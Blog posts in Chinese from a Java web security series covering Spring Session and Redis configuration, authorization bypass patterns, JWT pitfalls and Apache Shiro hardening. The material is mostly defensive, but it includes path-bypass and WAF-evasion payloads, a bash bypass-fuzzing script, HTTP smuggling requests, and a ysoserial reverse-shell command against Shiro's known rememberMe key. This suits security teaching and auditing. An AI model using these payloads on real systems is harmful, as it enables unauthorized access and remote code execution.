    return http.build();
}
问题 Session JWT 混合方案
吊销 ✅ ❌ Redis 黑名单
扩展 ❌ ✅ Redis 共享
CSRF ❌ ✅ SameSite Cookie
XSS ✅ ❌ 管理后台用 Session

6.8 Spring Session 深度配置(补充)

@Configuration
@EnableRedisHttpSession(maxInactiveIntervalInSeconds = 1800)
public class SessionConfig {

    @Bean
    public RedisSerializer<Object> springSessionDefaultRedisSerializer() {
        // 不要用 JdkSerializationRedisSerializer — 有反序列化风险
        // 推荐 Jackson 或 GenericJackson2JsonRedisSerializer
        return new GenericJackson2JsonRedisSerializer();
    }

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setCookieName("SESSIONID");
        serializer.setCookiePath("/");
        serializer.setDomainNamePattern("^.+?\\.(example\\.com)$");
        serializer.setUseSecureCookie(true);
        serializer.setUseHttpOnlyCookie(true);
        serializer.setSameSite("Lax");
        return serializer;
    }

    @Bean
    public RedisIndexedSessionRepository sessionRepository(
            RedisOperations<String, Object> redis) {
        RedisIndexedSessionRepository repo = 
            new RedisIndexedSessionRepository(redis);
        repo.setDefaultMaxInactiveInterval(Duration.ofMinutes(30));
        
        // 关键:配置 Redis key 前缀,方便管理
        repo.setRedisKeyNamespace("myapp:session:");
        
        return repo;
    }
}

Spring Session 安全注意事项:

  1. 序列化器选择:避免 JdkSerializationRedisSerializer,它和 Java 原生反序列化一样存在 RCE 风险
  2. Redis 密码:生产环境 spring.redis.password 必须设置
  3. 命名空间隔离:不同应用使用不同的 redisKeyNamespace,避免 Session 混淆
  4. findByPrincipalName:此方法会遍历所有 Session key(KEYS *),大数据量时性能极差,谨慎使用

6.9 Redis Cluster 模式下的认证(补充)

# Redis Cluster 配置
spring:
  redis:
    cluster:
      nodes:
        - 10.0.1.10:6379
        - 10.0.1.11:6379
        - 10.0.1.12:6379
    password: ${REDIS_PASSWORD}  # 必须从环境变量读取
    timeout: 3000ms
    lettuce:
      pool:
        max-active: 50
        max-idle: 20
        min-idle: 5

Cluster 模式下的 Session 一致性陷阱:

问题:Spring Session 默认使用 Redis key 存储
Cluster 模式下 key 会被 hash 到不同分片
但 Session 相关的原子操作(如 find/findByPrincipalName)
跨分片时无法保证事务性

解决:
1. 使用 HashTag 绑定会话相关 key 到同一分片
   repo.setRedisKeyNamespace("{myapp}:session:")
2. 或使用单节点 Redis 存储 Session(小规模推荐)

6.10 WebSocket 会话安全(补充)

WebSocket 连接建立后的认证是一个容易被忽略的问题:

@Configuration
@EnableWebSocketMessageBroker
public class WebSocketSecurityConfig implements WebSocketMessageBrokerConfigurer {

    @Override
    public void configureClientInboundChannel(ChannelRegistration registration) {
        registration.interceptors(new ChannelInterceptor() {
            @Override
            public Message<?> preSend(Message<?> message, MessageChannel channel) {
                StompHeaderAccessor accessor = 
                    MessageHeaderAccessor.getAccessor(message, StompHeaderAccessor.class);
                
                if (StompCommand.CONNECT.equals(accessor.getCommand())) {
                    // 从 STOMP CONNECT 帧中提取 Token
                    String token = accessor.getFirstNativeHeader("Authorization");
                    if (token == null || !token.startsWith("Bearer ")) {
                        throw new AccessDeniedException("未认证");
                    }
                    
                    // 验证 Token 并设置用户
                    User user = tokenService.validateAndGetUser(token.substring(7));
                    accessor.setUser(user);
                }
                
                // 对于 SUBSCRIBE/SEND 等命令,检查权限
                if (StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {
                    String destination = accessor.getDestination();
                    User user = (User) accessor.getUser();
                    
                    // 检查用户是否有权限订阅此主题
                    if (destination.startsWith("/topic/admin/") 
                        && !user.hasRole("ADMIN")) {
                        throw new AccessDeniedException("无权限订阅此主题");
                    }
                }
                
                return message;
            }
        });
    }
}

WebSocket 安全检查清单:

☐ CONNECT 帧必须验证 Token/Cookie
☐ SUBSCRIBE 主题需要权限检查(/topic/admin/ 仅管理员)
☐ SEND 目标需要校验(防止向他人主题发送消息)
☐ 心跳超时断开(防止资源耗尽)
☐ 单个用户最大连接数限制
☐ 消息大小限制(防止 DoS)

总结

会话管理的安全本质是回答三个问题:

  1. 你是谁? — 认证:Session/Token 是否有效
  2. 你还应该是你吗? — 会话完整性:IP/UA 是否变化,是否被踢出
  3. 你能做什么? — 授权:Session 中的权限是否仍有效,缓存是否实时

Redis 在其中的角色是共享的真实状态源——无论前端使用 Session 还是 JWT,服务端都需要一个地方存储”当前有效的会话/权限/黑名单”信息。Redis 配置的安全性直接决定了这层防护是否可靠。


系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • Apache Shiro 安全配置篇
  • JWT 认证安全篇
  • 鉴权绕过模式篇
阅读全文 »

Java Web 鉴权绕过模式深度剖析

发表于 2026-05-08 | 分类于 Java安全 , Web安全 |

Java Web 鉴权绕过模式深度剖析

鉴权绕过是代码审计中最常见也最致命的问题类型。本文涵盖 URI 解析差异、路径规范化绕过、preHandle 认证/授权缺陷、WAF 对抗等核心模式。

本文是 Java Web 认证授权安全系列 的第五篇。


5.1 URI 解析差异绕过(最关键)

这是代码审计中的 “万恶之源”——鉴权 Filter 和路由分发使用不同的 URI 获取方法。

获取方法 安全性 说明
request.getRequestURI() ❌ 保留原始路径,含 ;、../、编码字符
request.getRequestURL() ❌ 同上
request.getServletPath() ✅ Tomcat 已规范化处理
request.getContextPath() ✅ 仅上下文路径
HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE ✅ Spring 路由匹配后的实际路径

经典攻击场景:

// ❌ Filter 用 getRequestURI() 做白名单 → 可被分号绕过
String uri = request.getRequestURI();
if (uri.endsWith(".js") || uri.endsWith(".css")) {
    chain.doFilter(request, response);
    return;
}
// GET /admin/deleteUser;.js → getRequestURI() 匹配 .js → 放行
// Tomcat 解析分号 → 路由到 /admin/deleteUser → 鉴权绕过

// ✅ 修复
String path = request.getServletPath();
// 或 Spring 路由属性
String pattern = (String) request.getAttribute(
    HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE);

5.2 路径规范化绕过速查表

绕过模式 Payload 示例 原理
分号 + 后缀 /admin;.js、/admin;.css Tomcat 删除 ; 及之后
分号 + 穿越 /public;/../admin 组合绕过
URL 编码斜杠 /admin%2fusers 容器解码前后路径不一致
双重编码 /admin%252fusers %25 → %
路径穿越 /public/../admin 鉴权匹配与路由解析差异
尾部斜杠 /admin/ vs /admin 某些配置视为不同
空字节 /admin%00.jpg C 字符串截断
换行符 /admin%0d%0a 影响正则匹配

5.3 越权访问(IDOR)

// ❌ 无归属校验
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
    return orderService.findById(orderId);
}

// ✅ 校验归属
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId, @AuthenticationPrincipal UserDetails user) {
    Order order = orderService.findById(orderId);
    if (!order.getUserId().equals(user.getId())) {
        throw new AccessDeniedException("无权访问");
    }
    return order;
}

5.4 多层鉴权架构分析

请求 → Filter 层 → Interceptor 层 → Controller(AOP) → 业务逻辑
        │              │                 │
        └── 登录检查    └── 权限校验      └── 业务权限

审计关键:绕过一层不代表绕过全部。需分析每层的职责和 fallback 逻辑。


5.5 实战:preHandle 只认证不授权 + getRequestURI() 绕过

模式 A:仅认证 + 全路径 return true

// ❌ 问题代码
@Override
public boolean preHandle(HttpServletRequest request, ...) {
    String uri = request.getRequestURI();
    if (uri.contains("/login") || uri.endsWith(".js")) { return true; }
    
    String token = request.getHeader("Authorization");
    if (token == null) { response.setStatus(401); return false; }
    
    User user = parseToken(token);
    if (user == null) { response.setStatus(401); return false; }
    
    return true;  // ← 任何登录用户都能访问管理接口!
}
# 攻击链
POST /api/login → Token: eyJ... (普通用户)
GET /api/admin/deleteUser?id=1  Authorization: Bearer eyJ... → 200 OK
GET /api/admin/deleteUser;.js  → 无需登录即可访问!

模式 B:白名单路径穿越

# startsWith("/api/public/") 可被穿越
GET /api/public/../admin/users → 绕过登录检查
GET /static/../../api/admin/config → contains("/static/") 绕过

模式 C:后缀匹配绕过

GET /api/admin/users;.js
GET /api/config/dbPassword;.png

正确修复

// ✅ 使用 getServletPath() + 精确白名单 + 认证+授权
public boolean preHandle(HttpServletRequest request, ...) {
    String path = request.getServletPath();
    if (WHITELIST.contains(path)) { return true; }
    
    // 认证
    User user = tokenService.validateAndGetUser(request.getHeader("Authorization"));
    if (user == null) { response.setStatus(401); return false; }
    
    // 授权 — 必须有!
    if (path.startsWith("/api/admin/") && !user.hasRole("ADMIN")) {
        response.setStatus(403); return false;
    }
    
    request.setAttribute("currentUser", user);
    return true;
}

5.6 WAF 绕过与对抗(补充)

当目标有 WAF 保护时,基础 Payload 可能被拦截。以下是绕过技巧:

编码绕过

# 基础 payload 被拦
GET /admin;.js → 403 Forbidden (WAF 拦截)

# URL 编码分号
GET /admin%3b.js

# 双重编码
GET /admin%253b.js

# Unicode 编码
GET /admin\u003b.js

# 混合编码
GET /admin%3b%2ejs

协议级绕过

# HTTP/1.0 不支持分块传输,某些 WAF 解析不同
GET /admin;.js HTTP/1.0

# 利用 Transfer-Encoding 分块
POST /admin HTTP/1.1
Transfer-Encoding: chunked

3
;.js
0

# HTTP 请求走私
GET /admin HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked

GET /admin;.js HTTP/1.1
Host: target.com

参数污染

# 利用参数覆盖 WAF 检测
GET /api/admin/list?id=1&role=admin
GET /api/admin/list?role=admin&role=user  # WAF 可能取第一个

# 分号参数
GET /api/admin/list;role=admin

大小写与空格变形

# 大小写绕过
GET /ADMIN/users
GET /Admin/Users

# Tab/空格绕过
GET /admin%09/users    # %09 = Tab
GET /admin%20/users    # %20 = 空格(某些框架会 trim)

5.7 自动化 Fuzzing 策略(补充)

#!/bin/bash
# 鉴权绕过 Fuzzing 脚本
TARGET="https://target.com"
ENDPOINTS=(
    "/api/admin/users"
    "/api/admin/config"
    "/api/order/export"
    "/api/user/profile"
)

PAYLOADS=(
    ";.js"        # 分号+静态后缀
    ";.css"
    ";.png"
    "%3b.js"      # URL 编码分号
    "%3b.css"
    ";../"        # 分号+路径穿越
    "%2f"         # 编码斜杠
    "%2e%2e%2f"   # 编码 ../
    "%20"         # 空格
    "%0d%0a"      # CRLF
    "%00.jpg"     # 空字节
    "."           # 点号
    "//"          # 双斜杠
)

for endpoint in "${ENDPOINTS[@]}"; do
    echo "=== Testing: $endpoint ==="
    
    # 无认证直接访问
    status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint")
    echo "  Direct: $status"
    
    # 带 Payload 绕过
    for payload in "${PAYLOADS[@]}"; do
        status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint$payload")
        if [ "$status" != "401" ] && [ "$status" != "403" ] && [ "$status" != "302" ]; then
            echo "  ⚠️  BYPASS: $endpoint$payload → $status"
        fi
    done
done

Burp Suite Intruder 配置

Attack type: Sniper
Payload position: GET /api/admin/users§§ HTTP/1.1
Payload list:
  ;.js
  ;.css
  %3b.js
  ;../public
  %2e%2e%2fpublic
  ..
  %2f
  %00.jpg

5.8 案例复盘:某电商系统鉴权绕过(补充)

发现过程:

  1. 浏览网站时发现所有 API 路径形如 /api/v1/user/order/list
  2. Burp 抓包,尝试访问 /api/v1/admin/user/list → 401
  3. 追加 ;.js 后缀:/api/v1/admin/user/list;.js → 200 OK,返回全部用户数据

根因分析:

// 该系统的 AuthInterceptor 代码
if (request.getRequestURI().endsWith(".js") 
    || request.getRequestURI().endsWith(".css")) {
    return true;  // 静态资源直接放行
}
// ... 后续的认证逻辑永远走不到

影响范围:

  • 全部管理接口可绕过(用户管理、订单管理、系统配置)
  • 无需任何认证,直接获取管理权限

修复验证:

  • 将 getRequestURI() 改为 getServletPath()
  • 白名单改为精确路径匹配(Set<String>)
  • 增加授权检查

总结

鉴权绕过的根因可以归结为三类:

  1. 解析差异:getRequestURI() vs getServletPath(),Shiro vs Spring 路径匹配
  2. 逻辑缺失:只认证不授权,return true 无角色检查
  3. 信任输入:白名单用 endsWith/contains/startsWith 做模糊匹配

检测原则:永远不要相信请求中的原始路径。用容器规范化后的路径 + 精确匹配 + 认证+授权双检。


系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • Apache Shiro 安全配置篇
  • JWT 认证安全篇
  • 会话管理与 Redis 认证篇
阅读全文 »

JWT 认证安全实践与常见漏洞

发表于 2026-05-08 | 分类于 Java安全 , JWT |

JWT 认证安全实践与常见漏洞

JWT 是 RESTful API 最常用的无状态认证方案,但算法混淆、签名缺失、弱密钥等问题会让 Token 认证形同虚设。

本文是 Java Web 认证授权安全系列 的第四篇。


4.1 算法混淆攻击

攻击原理:服务端同时接受 RS256(非对称)和 HS256(对称)算法时,攻击者可将算法改为 HS256,然后用公开的公钥作为 HMAC 密钥签名 Token。

// ❌ 危险:同时接受多种算法
@Bean
public JwtDecoder jwtDecoder() {
    return NimbusJwtDecoder
        .withJwkSetUri("https://auth.example.com/.well-known/jwks.json")
        .jwsAlgorithms(algs -> {
            algs.add(JWSAlgorithm.RS256);
            algs.add(JWSAlgorithm.HS256);   // ← 危险!
        })
        .build();
}
// ✅ 正确:只接受单一算法
@Bean
public JwtDecoder jwtDecoder() {
    return NimbusJwtDecoder
        .withJwkSetUri("https://auth.example.com/.well-known/jwks.json")
        .jwsAlgorithm(JWSAlgorithm.RS256)
        .build();
}

4.2 alg: none 攻击

某些库在配置不当时接受未签名 Token:

{"alg": "none"}
{"sub": "admin", "role": "ADMIN"}
// 无签名部分

Java 常见错误:

// ❌ parseClaimsJwt 不验证签名!
Claims claims = Jwts.parser().parseClaimsJwt(token).getBody();

// ✅ parseClaimsJws 强制验证签名
Claims claims = Jwts.parser()
    .setSigningKey(secretKey)
    .parseClaimsJws(token)  // ← 带 's'
    .getBody();
// ❌ catch 范围过大,掩盖 UnsupportedJwtException
public boolean validateToken(String token) {
    try {
        Jwts.parser().setSigningKey(SECRET_KEY).parseClaimsJws(token);
        return true;
    } catch (Exception e) {  // ← 太宽泛
        return false;
    }
}

修复:分别处理 UnsupportedJwtException、SignatureException、ExpiredJwtException。


4.3 弱密钥与密钥管理

// ❌ 弱密钥 / 硬编码
String secret = "mySecretKey";  // 太短
String secret = "abc123def456ghi789jkl012mno345pq";  // 硬编码

// ✅ 正确做法
Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256);  // 自动生成 256 位
// 或从 Vault/KMS 安全存储读取

CVE-2024-31033:JJWT 在处理 setSigningKey() 时某些字符被忽略。建议:使用 byte[] 传参,升级最新版。


4.4 Token 生命周期与吊销

String token = Jwts.builder()
    .setSubject(userId)
    .setIssuer("https://auth.example.com")
    .setAudience("api.example.com")
    .setIssuedAt(new Date())
    .setExpiration(new Date(System.currentTimeMillis() + 900_000))  // 15分钟
    .signWith(privateKey, SignatureAlgorithm.RS256)
    .compact();

验证:

Jws<Claims> jws = Jwts.parserBuilder()
    .setSigningKey(publicKey)
    .requireIssuer("https://auth.example.com")
    .requireAudience("api.example.com")
    .build()
    .parseClaimsJws(token);

吊销策略:JWT 无状态无法撤销,需配合:

  • 短过期 + Refresh Token 轮换
  • Redis 黑名单存储已吊销 Token ID
  • 关键操作强制重新认证

4.5 JWT 安全检查清单

@Component
public class JwtTokenValidator {
    private final SecretKey secretKey;
    private final RedisTemplate<String, String> redis;

    public Claims validateAndParse(String token) {
        String tokenId = extractTokenId(token);
        if (Boolean.TRUE.equals(redis.hasKey("token:revoked:" + tokenId))) {
            throw new SecurityException("Token revoked");
        }

        return Jwts.parserBuilder()
            .setSigningKey(secretKey)
            .requireIssuer("auth.example.com")
            .requireAudience("api.example.com")
            .setAllowedClockSkewSeconds(30)
            .build()
            .parseClaimsJws(token)  // ← parseClaimsJws!
            .getBody();
    }
}

4.6 JWE 加密 Token(补充)

JWT 的 payload 是 Base64 编码,不是加密。任何人都能看到其中内容:

// 这个 payload 任何人拿到 Token 即可解码阅读
{"userId": 123, "role": "admin", "internalDeptId": 42}

JWE(JSON Web Encryption) 提供真正的加密:

// ✅ JWE 加密 Token — 内容不可见
public String generateEncryptedToken(User user) throws Exception {
    // 1. 构建 JWT Claims
    JWTClaimsSet claims = new JWTClaimsSet.Builder()
        .subject(user.getId().toString())
        .claim("role", user.getRole())
        .issueTime(new Date())
        .expirationTime(new Date(System.currentTimeMillis() + 900_000))
        .build();

    // 2. 创建 JWE 头部
    JWEHeader header = new JWEHeader(
        JWEAlgorithm.RSA_OAEP_256,   // 密钥加密算法
        EncryptionMethod.A256GCM     // 内容加密算法
    );

    // 3. 加密
    EncryptedJWT jwt = new EncryptedJWT(header, claims);
    RSAEncrypter encrypter = new RSAEncrypter(publicKey);
    jwt.encrypt(encrypter);

    return jwt.serialize();
}

// 解密
public Claims decryptAndValidate(String encryptedToken) throws Exception {
    EncryptedJWT jwt = EncryptedJWT.parse(encryptedToken);
    RSADecrypter decrypter = new RSADecrypter(privateKey);
    jwt.decrypt(decrypter);
    
    // 然后再做常规 JWT 校验
    return jwt.getJWTClaimsSet();
}

何时使用 JWE:

  • Token 中必须携带敏感信息(身份证号、手机号等)
  • 合规要求(GDPR、等保)
  • Token 可能暴露在浏览器 localStorage 中

不推荐 JWE 的场景:

  • 高性能要求(加密解密有开销)
  • 网关层需要读取 Token 内容做路由判断
  • Token 仅用于服务端会话关联(用参考 Token 更合适)

4.7 Refresh Token 轮换策略(补充)

@Service
public class TokenRotationService {

    @Autowired
    private RedisTemplate<String, String> redis;

    // Access Token: 15 分钟
    private static final Duration ACCESS_EXPIRY = Duration.ofMinutes(15);
    // Refresh Token: 7 天
    private static final Duration REFRESH_EXPIRY = Duration.ofDays(7);
    // Refresh Token 家族前缀,用于检测重用
    private static final String TOKEN_FAMILY = "token:family:";

    public TokenPair issueTokens(String userId) {
        String familyId = UUID.randomUUID().toString();
        String refreshId = UUID.randomUUID().toString();

        // 存储 refresh token 家族
        redis.opsForValue().set(TOKEN_FAMILY + familyId, refreshId, REFRESH_EXPIRY);

        String accessToken = generateAccessToken(userId, familyId);
        String refreshToken = generateRefreshToken(userId, familyId, refreshId);

        return new TokenPair(accessToken, refreshToken);
    }

    public TokenPair rotateTokens(String oldRefreshToken) {
        Claims claims = validateRefreshToken(oldRefreshToken);
        String familyId = claims.get("familyId", String.class);
        String oldRefreshId = claims.get("refreshId", String.class);

        // 检查 refresh token 是否已被使用(检测重用 → 说明被盗)
        String storedRefreshId = redis.opsForValue().get(TOKEN_FAMILY + familyId);
        if (storedRefreshId == null || !storedRefreshId.equals(oldRefreshId)) {
            // Refresh Token 重用!可能是被盗。
            // 立即吊销整个家族
            redis.delete(TOKEN_FAMILY + familyId);
            redis.opsForValue().set("token:family:revoked:" + familyId, "1", Duration.ofDays(7));
            
            // 强制用户重新登录,并发出告警
            log.warn("Refresh Token 重用检测:familyId={}", familyId);
            throw new SecurityException("Token 已被使用,请重新登录");
        }

        // 正常轮换:换发新的 refresh token
        String newRefreshId = UUID.randomUUID().toString();
        redis.opsForValue().set(TOKEN_FAMILY + familyId, newRefreshId, REFRESH_EXPIRY);

        String newAccessToken = generateAccessToken(claims.getSubject(), familyId);
        String newRefreshToken = generateRefreshToken(claims.getSubject(), familyId, newRefreshId);

        return new TokenPair(newAccessToken, newRefreshToken);
    }

    public void revokeFamily(String familyId) {
        redis.delete(TOKEN_FAMILY + familyId);
    }
}

Refresh Token 轮换 vs 短期 Token:

方案 安全性 用户体验 复杂度
单 Token 长期有效 ❌ ✅ 低
Access Token 短期 + 无 Refresh ✅ ❌ 频繁登出 低
Access + Refresh 无轮换 ⚠️ ✅ 中
Access + Refresh 轮换 + 重用检测 ✅ ✅ 高

4.8 Token 绑定(HTB — Holder-of-Key)(补充)

防止 Token 被盗后在其他设备使用:

// 签发 Token 时绑定客户端指纹
public String issueBoundToken(User user, HttpServletRequest request) {
    String fingerprint = generateFingerprint(request);
    
    return Jwts.builder()
        .setSubject(user.getId().toString())
        .claim("fp_hash", sha256(fingerprint))  // 指纹哈希存入 Token
        .setExpiration(new Date(System.currentTimeMillis() + 900_000))
        .signWith(privateKey, SignatureAlgorithm.RS256)
        .compact();
}

// 验证时比对指纹
public Claims validateBoundToken(String token, HttpServletRequest request) {
    Claims claims = validateAndParse(token);
    String currentFp = sha256(generateFingerprint(request));
    String storedFp = claims.get("fp_hash", String.class);
    
    if (!currentFp.equals(storedFp)) {
        throw new SecurityException("Token 客户端指纹不匹配");
    }
    return claims;
}

// 生成客户端指纹(IP + UA 组合)
private String generateFingerprint(HttpServletRequest request) {
    String ip = request.getHeader("X-Forwarded-For");
    if (ip == null) ip = request.getRemoteAddr();
    String ua = request.getHeader("User-Agent");
    return ip + "|" + ua;
}

注意:指纹绑定会降低用户体验(移动网络 IP 频繁变化、UA 升级)。建议仅对高安全场景(银行、支付)启用。


总结

JWT 安全的核心不是选择了哪个库,而是验证逻辑是否正确:

  1. 算法:永远只接受单一算法(RS256 或 ES256)
  2. 签名:永远用 parseClaimsJws(带 s),不用 parseClaimsJwt
  3. 异常:不能 catch(Exception e) 一把梭
  4. 过期:Access Token ≤ 15 分钟
  5. 吊销:配合 Refresh Token 轮换 + 重用检测
  6. 加密:敏感数据用 JWE 加密,或干脆不放 payload 里

系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • Apache Shiro 安全配置篇
  • 鉴权绕过模式篇
  • 会话管理与 Redis 认证篇
阅读全文 »

Apache Shiro 安全配置与防护实践

发表于 2026-05-08 | 分类于 Java安全 , Shiro |

Apache Shiro 安全配置与防护实践

Apache Shiro 因其轻量级和 API 简洁广受青睐,但从 2016 年的 rememberMe RCE (CVSS 9.8) 到 2023 年的路径绕过,历史上的漏洞均属于”一击必杀”级别。

本文是 Java Web 认证授权安全系列 的第三篇。


3.1 rememberMe 反序列化 RCE(CVE-2016-4437,CVSS 9.8)

这是 Shiro 最臭名昭著的漏洞,至今仍有公网系统未修复。

漏洞原理:Shiro 1.2.4 及之前版本的 rememberMe 功能使用 硬编码的 AES 密钥:

// Shiro 1.2.4 源码 — 全网公开的硬编码密钥
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = 
    Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

攻击链:

1. 攻击者使用已知密钥加密恶意序列化对象(CommonsCollections 链)
2. 将 payload 作为 rememberMe Cookie 发送
3. Shiro 解密 → 反序列化 → RCE

利用工具:

# ysoserial 生成 payload
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 \
  "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"

# Shiro 漏洞检测
python3 shiro_attack.py -u https://target.com -k "kPH+bIxk5D2deZiIxcaaaA=="

SHIRO-721(Padding Oracle 攻击):即使配置了自定义密钥(1.2.5 ~ 1.4.1),攻击者仍可通过 AES-CBC Padding Oracle 构造恶意 Cookie,无需知道密钥。影响版本 < 1.4.2。

防御:

# shiro.ini — 禁用 rememberMe
[main]
securityManager.rememberMeManager = null
// Java Config — 使用随机强密钥
@Bean
public RememberMeManager rememberMeManager() {
    CookieRememberMeManager manager = new CookieRememberMeManager();
    KeyGenerator keyGen = KeyGenerator.getInstance("AES");
    keyGen.init(256);
    manager.setCipherKey(keyGen.generateKey().getEncoded());
    return manager;
}

必须升级到 Shiro 1.13.0+ 或 2.0.0-alpha-4+。


3.2 路径鉴权绕过系列

Shiro 的路径匹配与 Spring/Tomcat 解析不一致,导致了一系列绕过:

CVE 版本 Payload 原理
CVE-2020-1957 < 1.5.2 /admin/..;/ ..; 解析差异
CVE-2020-11989 < 1.5.3 /admin/page%2f 编码斜杠
CVE-2020-13933 < 1.6.0 /admin/%3bindex 分号编码
CVE-2020-17523 < 1.7.1 /admin/%20/ 空格编码
CVE-2021-41303 < 1.8.0 /admin/a%2e%2e%2f 双重编码
CVE-2022-32532 < 1.9.1 /admin/;/ 正则绕过
CVE-2023-22602 < 1.11.0 /admin/%0d 换行符

通用 Payload:

GET /admin/;/users HTTP/1.1
GET /admin;.js HTTP/1.1
GET /admin%2fusers HTTP/1.1
GET /public/../admin/users HTTP/1.1

防御:升级到 Shiro 1.11.0+,启用路径规范化。


3.3 Shiro 安全配置推荐

# shiro.ini
[main]
securityManager.rememberMeManager = null  # 或使用随机强密钥
securityManager.sessionManager.sessionIdCookie.secure = true
securityManager.sessionManager.sessionIdCookie.httpOnly = true
securityManager.sessionManager.sessionIdCookie.sameSite = Strict
securityManager.sessionManager.globalSessionTimeout = 1800000

[urls]
/login = anon
/logout = logout
/api/public/** = anon
/api/admin/** = authc, roles[admin]
/api/user/** = authc
/** = authc

3.4 Shiro + Spring Boot 完整集成(补充)

@Configuration
public class ShiroConfig {

    @Bean
    public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) {
        ShiroFilterFactoryBean factory = new ShiroFilterFactoryBean();
        factory.setSecurityManager(securityManager);
        factory.setLoginUrl("/login");
        factory.setUnauthorizedUrl("/403");

        // 过滤器链 — 顺序敏感,精细在前
        Map<String, String> filterChain = new LinkedHashMap<>();
        filterChain.put("/login", "anon");
        filterChain.put("/api/public/**", "anon");
        filterChain.put("/api/admin/**", "authc,roles[admin]");
        filterChain.put("/api/user/**", "authc");
        filterChain.put("/**", "authc");
        factory.setFilterChainDefinitionMap(filterChain);
        return factory;
    }

    @Bean
    public DefaultWebSecurityManager securityManager(MyRealm realm) {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm(realm);
        // 关键:禁用或加固 rememberMe
        manager.setRememberMeManager(null);
        return manager;
    }

    @Bean
    public MyRealm myRealm() {
        MyRealm realm = new MyRealm();
        realm.setCredentialsMatcher(hashedCredentialsMatcher());
        return realm;
    }

    @Bean
    public HashedCredentialsMatcher hashedCredentialsMatcher() {
        HashedCredentialsMatcher matcher = new HashedCredentialsMatcher();
        matcher.setHashAlgorithmName("SHA-256");
        matcher.setHashIterations(1024);
        matcher.setStoredCredentialsHexEncoded(true);
        return matcher;
    }
}

3.5 自定义 Realm 实现(补充)

public class MyRealm extends AuthorizingRealm {

    @Autowired
    private UserService userService;
    @Autowired
    private PermissionService permissionService;

    // 认证:验证用户名密码
    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(
            AuthenticationToken token) throws AuthenticationException {
        
        String username = (String) token.getPrincipal();
        User user = userService.findByUsername(username);
        if (user == null) {
            throw new UnknownAccountException("用户不存在");
        }
        if (!user.isEnabled()) {
            throw new LockedAccountException("账号已禁用");
        }
        
        // 返回认证信息,Shiro 自动校验密码
        return new SimpleAuthenticationInfo(
            user,                    // principal
            user.getPassword(),      // hashed password
            ByteSource.Util.bytes(user.getSalt()),
            getName()                // realm name
        );
    }

    // 授权:加载用户权限和角色
    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(
            PrincipalCollection principals) {
        
        User user = (User) principals.getPrimaryPrincipal();
        SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
        
        // 角色
        Set<String> roles = userService.getRoles(user.getId());
        info.setRoles(roles);
        
        // 权限字符串
        Set<String> permissions = permissionService.getPermissions(user.getId());
        info.setStringPermissions(permissions);
        
        return info;
    }
}

使用注解:

@RestController
@RequestMapping("/api/admin")
public class AdminController {

    @RequiresRoles("admin")
    @GetMapping("/users")
    public List<User> getUsers() { }

    @RequiresPermissions("circle:admin:delete")
    @DeleteMapping("/circle/{id}")
    public void deleteCircle(@PathVariable Long id) { }
}

3.6 Shiro vs Spring Security 选型对比(补充)

维度 Apache Shiro Spring Security
学习曲线 低,配置直观 高,概念多
Spring 集成 需额外配置 原生集成
粒度 URL 级别为主 URL + 方法 + 资源实例
Session 管理 内置,成熟 依赖 Spring Session
OAuth2/OIDC 需第三方扩展 开箱即用
社区生态 较小 极其庞大
更新频率 较慢 非常活跃
历史漏洞 rememberMe RCE(9.8)、路径绕过 BCrypt 截断(7.5)、Actuator 绕过(7.3)
适用场景 非 Spring 项目、遗留系统、简单权限模型 Spring 项目、微服务、OAuth2

选型建议:

场景 推荐
新项目、Spring Boot 技术栈 Spring Security
非 Spring 项目(纯 Servlet) Apache Shiro
需要 OAuth2 / SAML / OIDC Spring Security
简单权限模型 + 快速集成 Apache Shiro
遗留 Shiro 项目 升级到最新版本 + 加固配置

总结

Shiro 的安全防护核心就两点:

  1. 版本:1.2.4 的 rememberMe RCE 是 CVSS 9.8 级别,必须升级
  2. 路径:Shiro 的路径匹配与 Spring 不一致是绕过的根源,升级 + 路径规范化是正解

如果系统使用 Shiro,立即检查版本号 — 低于 1.11.0 的路径绕过能被自动化扫描工具在 5 分钟内发现。


系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • JWT 认证安全篇
  • 鉴权绕过模式篇
  • 会话管理与 Redis 认证篇
阅读全文 »
1 2 3 4
江流

江流

人生若只如初见,何事悲风秋画扇。

33 日志
18 分类
107 标签
RSS
GitHub 简书
Creative Commons
© 2019 - 2026 江流
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访问数 人次 本站总访问量 次